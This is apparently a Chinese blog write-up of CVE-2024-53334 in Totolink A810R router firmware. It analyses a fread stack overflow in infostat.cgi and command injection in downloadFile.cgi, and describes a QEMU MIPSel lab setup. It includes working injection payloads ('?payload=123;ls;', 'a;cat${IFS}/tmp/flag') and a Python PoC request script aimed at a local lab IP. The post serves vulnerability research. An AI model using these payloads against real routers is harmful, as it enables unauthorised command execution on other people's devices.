CVE-2024-53334

原理剖析

漏洞具体信息:https://github.com/luckysmallbird/Totolink-A810R-Vulnerability-1/blob/main/
(内含固件下载地址)
binwalk提取固件后,根据信息到 infostat.cgi 和 downloadFile.cgi 查看具体漏洞发生处

infostat.cgi

漏洞分析

图片
图片
也就是说fread导致v11存在栈溢出.
v11栈大小4096 要搞明白“CONTENT_LENGTH” fread函数 和strtol函数.

“CONTENT_LENGTH” 通常是 HTTP 请求中 POST 数据的长度

fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
从stream处读取大小为size的nmemb个元素到ptr处.

strtol(const char *str, char **endptr, int base)
转换为整数后 +1

疑问解析

fread函数不会检查从stream读取的字节移动到ptr时是否发生溢出吗 参考(https://www.cnblogs.com/ZIKH26/articles/16575066.html)

fread源码
size_t
_IO_fread (void *buf, size_t size, size_t count, FILE *fp)
{
  size_t bytes_requested = size * count;
  size_t bytes_read;
  CHECK_FILE (fp, 0);
  if (bytes_requested == 0)
    return 0;
  _IO_acquire_lock (fp);
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  _IO_release_lock (fp);
  return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)

weak_alias (_IO_fread, fread)

# ifndef _IO_MTSAFE_IO
strong_alias (_IO_fread, __fread_unlocked)
libc_hidden_def (__fread_unlocked)
weak_alias (_IO_fread, fread_unlocked)
# endif
fread中并没有逻辑校验去比较从fp读 和写入buf的大小是否安全.去看一下_IO_sgetn.
sgetn源码
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  /* FIXME handle putback buffer here! */
  return _IO_XSGETN (fp, data, n);
}
libc_hidden_def (_IO_sgetn)


//调用了 _IO_XSGETN
//#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
//读(https://www.anquanke.com/post/id/177958#h3-3)
涉及代码部分较多,但细读上面安全客的文章和目前代码。可得,fread依然存在缓冲区溢出漏洞,其代码及底层相关代码均没有限制size * count < buf 的逻辑.

downloadFile.cgi

图片
QUERY_STRING 是一个环境变量,主要用于 CGI(Common Gateway Interface,通用网关接口)程序 中,用来传递 URL 中的查询参数(即 URL 中 ? 后面的部分)。
这段代码首先把QUERY_STRING的值给到v14 再通过sprintf把v14的值传入v24 再系统调用执行v24. 存在缓冲区溢出
图片
也就是说,攻击者可以通过?传参以及一些过滤符达到任意命令执行,可以造成非常严重的后果

环境复现

使用qemu-mipsel环境来复现

参考 https://www.cnblogs.com/apexchu/p/15801244.html
安装好所有依赖以及buildroot后
配置网络

sudo apt-get install bridge-utils uml-utilities
sudo brctl addbr br0
sudo ifconfig br0 192.168.122.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif br0 tap0

https://people.debian.org/~aurel32/qemu/ (根据你要下载的mips架构去选择对应的包)我下的是mipsel

sudo dnsmasq --strict-order --except-interface=lo --interface=br0 --listen-address=192.168.122.1 --bind-interfaces --dhcp-range=192.168.122.2,192.168.122.254 --conf-file="" --pid-file=/var/run/qemu-dhcp-virbr0.pid --dhcp-leasefile=/var/run/qemu-dhcp-virbr0.leases --dhcp-no-override
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

外网连接配置

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -s "192.168.122.0/255.255.255.0" ! -d "192.168.122.0/255.255.255.0" -j MASQUERADE
sudo iptables -N vm-service
sudo iptables -A vm-service -j ACCEPT
sudo iptables -A FORWARD -s 192.168.122.0/24 -j   vm-service

由于包管理工具的deb与mipsel版本不兼容问题 主要是因为deb包换了一种打包方式.只能用wheezy自带的python2.7来部署web环境 但是相同的payload可能因为架构不一致原因无法正确被qemu-mipsel环境解析 所以来本地进行运行 即下图.
在复现过程中 还遇到一个问题,需要用到uClibc 但是在openWRT相关源中已经没有此包 只能下载源码自己编译,但是又与主机环境不适配,在虚拟机中又无法解包,相关动态链接文件都在固件包的lib下.

根据原理剖析部分,复现downloadFlile.cgi中的漏洞

图片

下载好bp后 页面有显示了 可能是firefox和google的内核差异??

payload:http://192.168.122.76/cgi-bin/downloadFlile.cgi?payload=123;ls;

图片

POC

import socket

# 1. 代理服务器信息(Burp Suite)
proxy_ip = "192.168.122.1"  # 主机的IP地址
proxy_port = 8080           # Burp监听的端口

# 2. 目标服务器信息
target_ip = "192.168.122.76"
target_host = "192.168.122.76"  # 目标主机名或IP
target_port = 80              # CGI服务默认80端口

# 3. 构建Payload(保持字节类型,8000个"a"+";ls")
payload = b"aaaaaaaaaaaa" 

# 4. 构建HTTP GET请求(通过代理时需要完整的URL)
request = (
    b"GET http://" + target_host.encode() + b"/cgi-bin/downloadFlile.cgi?payload=" + payload + b" HTTP/1.1\r\n"
    b"Host: " + target_host.encode() + b"\r\n"
    b"Connection: close\r\n"  # 关闭长连接,确保响应完整返回
    b"\r\n"  # HTTP请求头结束标志(空行)
)

try:
    # 5. 用socket连接到Burp代理,发送请求并接收原始响应
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((proxy_ip, proxy_port))
        s.sendall(request)
        
        # 循环接收所有响应数据(处理可能的分片响应)
        raw_response = b""
        while True:
            data = s.recv(1024 * 10)  # 每次接收10KB
            if not data:
                break
            raw_response += data
        
        print("=== 原始响应(未解析)===")
        print(raw_response)  # 打印原始字节流
        print("\n=== 响应转字符串(便于阅读)===")
        # 用latin-1解码(兼容所有字节值,避免解码错误)
        print(raw_response.decode("latin-1", errors="ignore"))

except Exception as e:
    print(f"请求错误: {e}")

图片

图片

如果没有触发缓冲区溢出漏洞 /tmp/download里面存放的就是传入的QUERY_STRING

输入

payload = b"a"  + b';ls'

图片

payload = b"a"  + b';ls;'

图片

payload=a;cat${IFS}/tmp/flag

图片

posted @ 2025-10-12 22:10  awigwu76  阅读(108)  评论(0)    收藏  举报